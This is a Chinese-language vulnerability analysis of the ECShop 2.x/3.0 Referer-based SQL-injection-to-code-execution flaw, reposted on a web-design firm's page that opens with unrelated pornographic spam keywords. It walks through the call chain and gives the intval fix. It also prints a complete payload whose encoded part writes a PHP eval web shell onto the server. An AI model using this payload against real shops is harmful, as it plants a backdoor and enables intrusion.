真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何進(jìn)行ECShop2.x3.0代碼執(zhí)行漏洞分析

今天就跟大家聊聊有關(guān)如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

創(chuàng)新互聯(lián)成立與2013年,我們提供高端網(wǎng)站建設(shè)、微信平臺(tái)小程序開發(fā)、電商視覺設(shè)計(jì)、APP應(yīng)用開發(fā)及網(wǎng)絡(luò)營(yíng)銷搜索優(yōu)化服務(wù),在傳統(tǒng)互聯(lián)網(wǎng)與移動(dòng)互聯(lián)網(wǎng)發(fā)展的背景下,我們堅(jiān)守著用標(biāo)準(zhǔn)的設(shè)計(jì)方案與技術(shù)開發(fā)實(shí)力作基礎(chǔ),以企業(yè)及品牌的互聯(lián)網(wǎng)商業(yè)目標(biāo)為核心,為客戶打造具商業(yè)價(jià)值與用戶體驗(yàn)的互聯(lián)網(wǎng)+產(chǎn)品。

0x00 前言

ECShop是一款B2C獨(dú)立網(wǎng)店系統(tǒng),適合企業(yè)及個(gè)人快速構(gòu)建個(gè)性化網(wǎng)上商店。2.x版本跟3.0版本存在代碼執(zhí)行漏洞。

0x01 漏洞原理

ECShop 沒有對(duì) $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 變量進(jìn)行驗(yàn)證,導(dǎo)致用戶可以將任意代碼插入的user_passport.dwt模板中,隨后insert_mod根據(jù)模板內(nèi)容動(dòng)態(tài)執(zhí)行相應(yīng)的函數(shù),用戶插入惡意代碼導(dǎo)致模板動(dòng)態(tài)執(zhí)行了lib_insert下的 insert_ads 方法,通過SQL注入,返回構(gòu)造的執(zhí)行代碼,致使后面調(diào)用cls_template模板類的fetch函數(shù),成功執(zhí)行惡意代碼。

0x02 環(huán)境搭建

IDE : PHPStorm

PHP: 5.4

ECshop 3.0

ECShop 2.7.3

0x03 分析過程

整體功能

首先過一下整體的功能,進(jìn)入到user.php中。

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

正常情況下,程序會(huì)將$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 賦值給了$back_act,接著通過cls_template模板類的assign和display進(jìn)行賦值和和傳值給了user_passport.dwt頁面模板;這時(shí)候user_passport.dwt頁面模板的內(nèi)容是這樣子的。

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

進(jìn)入到$smarty->display中,通過inser_mod的分割和反序列之后動(dòng)態(tài)調(diào)用函數(shù)獲得購(gòu)物信息和會(huì)員信息,將會(huì)默認(rèn)執(zhí)行user_passport.dw上面的兩個(gè)函數(shù),即lib_insert函數(shù)類下的insert_cart_info和insert_member_info函數(shù)。

insert_cart_info函數(shù)//調(diào)用購(gòu)物信息
insert_member_info函數(shù) //調(diào)用會(huì)員信息

user_passport.dw模板:

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

inser_mod函數(shù):

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

Payload

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}

開始分析

在user.php 中的通過執(zhí)行登陸操作的時(shí)候,將$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改為我們的代碼:

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

這時(shí)候$back_act的值就是我們篡改之后的REFERER值了,之后程序會(huì)繼續(xù)執(zhí)行:

$smarty->assign('back_act', $back_act);  //賦值
$smarty->display('user_passport.dwt'); //傳值到模板上

經(jīng)過assign,display的賦值和傳值之后,這時(shí)候user_passport.dwt模板上的back_act值是這樣的:

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析在觀察堆棧參數(shù)的時(shí)候,可以觀察到this->_echash 的值跟我們的Payload的值是一樣的,這是ECSHOP的固定的HASH值,2.7版本的_echash值為554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值為45ea207d7a2b68c49582d2d22adf953,所以所用的Payload也不一樣。

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

進(jìn)入到display函數(shù)中,會(huì)執(zhí)行fetch函數(shù),獲得頁面模板內(nèi)容;

$out = $this->fetch($filename, $cache_id); //根據(jù)$cache_id獲取模板內(nèi)容也就是user_passport.dwt的內(nèi)容

接著按照_echash的值也就是固定hash值進(jìn)行分割;

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

分割完之后程序會(huì)先執(zhí)行兩個(gè)默認(rèn)函數(shù),然后才執(zhí)行我們的代碼,繼續(xù)執(zhí)行insert_mod函數(shù) 。

$k[$key] = $this->insert_mod($val);

跟進(jìn),可以看到我們輸入的字符串根據(jù)“|”進(jìn)行了分割,并分別賦值給了$fun和$para

所以最后的到的值類似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

到了return $fun($para);這里,將會(huì)執(zhí)行l(wèi)ib_insert動(dòng)態(tài)函數(shù)類下的 insert_ads($para)函數(shù)。

跟進(jìn),可以看到這里執(zhí)行了SQL語句,而$arr[‘id’]$arr[‘num’]這兩個(gè)參數(shù)正是我們傳進(jìn)來的數(shù)組中的內(nèi)容,參數(shù)可控,從而導(dǎo)致了注入。

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

這時(shí)候在數(shù)據(jù)庫(kù)中,執(zhí)行的語句為:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1536052713' AND end_time >= '1536052713' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析可以看到數(shù)據(jù)庫(kù)的position_id和position_style字段分別被union select 查詢覆蓋為了'/*   和{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//}xxx        

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

查詢結(jié)束之后,根據(jù)$position_style的值執(zhí)行了cls_template模板類的fetch函數(shù)。

$val = $GLOBALS[‘smarty’]->fetch($position_style); //執(zhí)行了smarty的fetch函數(shù)

跟進(jìn),看到這里,這里最終執(zhí)行了惡意代碼。

$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最終執(zhí)行了語句

看一下內(nèi)部的字符串處理,傳入filename的值為:

” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”

然后使用substr對(duì)filenname進(jìn)行切割,接著進(jìn)入到$this->fetch_str中,可以看到fetch_str函數(shù)的返回內(nèi)容為格式的。

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析在跟入到$this->get_val中,執(zhí)行了$p = $this->make_var($val);   ,跟入到make_var函數(shù)中。

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

字符串處理最后返回的值為:

$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//']

拼接在一起,最后返回的數(shù)據(jù)為:

_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//>

從而最終導(dǎo)致了代碼執(zhí)行。

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

0x04 代碼執(zhí)行的調(diào)用鏈

如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析

0x05 修復(fù)方案

在ECShop3.6版本中insert_ads函數(shù)對(duì)$arr[‘num’]和$arr[‘id’]進(jìn)行了強(qiáng)制類型轉(zhuǎn)換。

$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);

看完上述內(nèi)容,你們對(duì)如何進(jìn)行ECShop 2.x 3.0代碼執(zhí)行漏洞分析有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。


網(wǎng)頁名稱:如何進(jìn)行ECShop2.x3.0代碼執(zhí)行漏洞分析
標(biāo)題鏈接:http://weahome.cn/article/jpcsco.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部